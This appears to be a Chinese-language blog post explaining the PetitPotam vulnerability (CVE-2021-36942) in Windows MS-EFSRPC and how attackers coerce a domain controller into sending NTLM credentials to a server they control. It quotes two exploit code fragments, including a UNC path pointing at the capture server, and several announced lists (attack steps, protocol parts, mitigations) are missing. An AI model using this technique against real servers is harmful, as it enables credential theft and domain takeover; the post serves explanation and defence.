PetitPotam 漏洞(CVE-2021-36942)是一个 Windows 远程协议(MS-EFSRPC)中的安全漏洞,它影响了微软的加密文件系统(EFS)。这个漏洞允许攻击者将目标服务器引导至攻击者控制的服务器,从而可能导致目标服务器的凭据泄露。这个漏洞主要影响了 Windows Server 系列操作系统。
PetitPotam 漏洞的主要原因是在 MS-EFSRPC 服务中,攻击者可以利用某些 EFS 函数,例如 EfsRpcOpenFileRaw。这个函数原本用于打开一个加密的文件以进行读写操作。但是,攻击者可以通过构造恶意的文件路径,使得目标服务器尝试与攻击者控制的服务器建立连接。在这种情况下,攻击者可以捕获目标服务器的 NTLM 凭据,甚至可能实施更进一步的攻击,例如传递哈希攻击(Pass-the-Hash)或利用其他漏洞进行横向移动。
PetitPotam漏洞是一个Windows认证协议的安全漏洞,攻击者可以利用该漏洞通过远程程序调用(RPC)来获取域控制器(DC)NTLMv2身份验证的凭据,从而能够进一步获取域管理员权限。下面是利用PetitPotam漏洞的一般过程:
需要注意的是,PetitPotam漏洞仅影响使用NTLMv2身份验证协议的Windows认证协议。
MS-EFSRPC(Encrypting File System Remote Protocol)是Windows操作系统中的一种加密文件系统协议。它提供了一种安全的方式来保护文件和文件夹,以确保只有授权用户能够访问。MS-EFSRPC协议在Windows Server 2003和Windows XP中首次引入,目前已经得到广泛的应用。
MS-EFSRPC协议基于RPC(Remote Procedure Call)协议,主要用于对加密文件系统的访问进行控制和管理。它定义了一组远程过程调用(RPC)接口,用于在客户端和服务器之间传输加密密钥和访问权限信息,以及对加密文件的加密和解密操作。
MS-EFSRPC协议包括以下几个主要部分:
该漏洞的利用过程中,攻击者可以通过向目标计算机发起 EFSRPC(Encrypting File System Remote Protocol)请求来实现攻击,EFSRPC 是 Windows 系统中的一个加密文件系统协议,用于提供加密文件的远程存取。在正常情况下,EFSRPC 通信需要使用有效的身份验证,例如 Kerberos、NTLMv2 或 SSL/TLS。而在 PetitPotam 漏洞中,攻击者可以构造一个恶意的 EFSRPC 请求,使其使用 NTLMv2 身份验证,并将目标计算机作为 NTLM 代理,从而将 NTLM 认证流量重定向到攻击者控制的恶意服务器。
攻击者会发送一个特殊的EFSRPC请求,其中包含目标服务器的计算机名,连接到服务器的安全凭据和权限级别。
RpcStatus \= RpcBindingSetAuthInfoW(BindingHandle, (RPC\_WSTR)target, RPC\_C\_AUTHN\_LEVEL\_PKT\_PRIVACY, RPC\_C\_AUTHN\_GSS\_NEGOTIATE, NULL, RPC\_C\_AUTHZ\_NONE);
以及制定攻击者控制的服务器的计算机名。
swprintf(buffer, 100, L"\\\\\\\\%s\\\\test\\\\topotam.exe", captureServerIP);
攻击者伪装成目标服务器并向服务端发送NTLM身份验证请求,服务端则将其凭据发送到攻击者控制的服务器上。
攻击者可以利用这种重定向的 NTLM 认证流量来获取目标域控制器的 NTLM hash 值,从而能够进一步利用 NTLM hash 脱机攻击技术来获取域管理员权限。
为了缓解这个漏洞,微软建议采取以下措施:
9 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!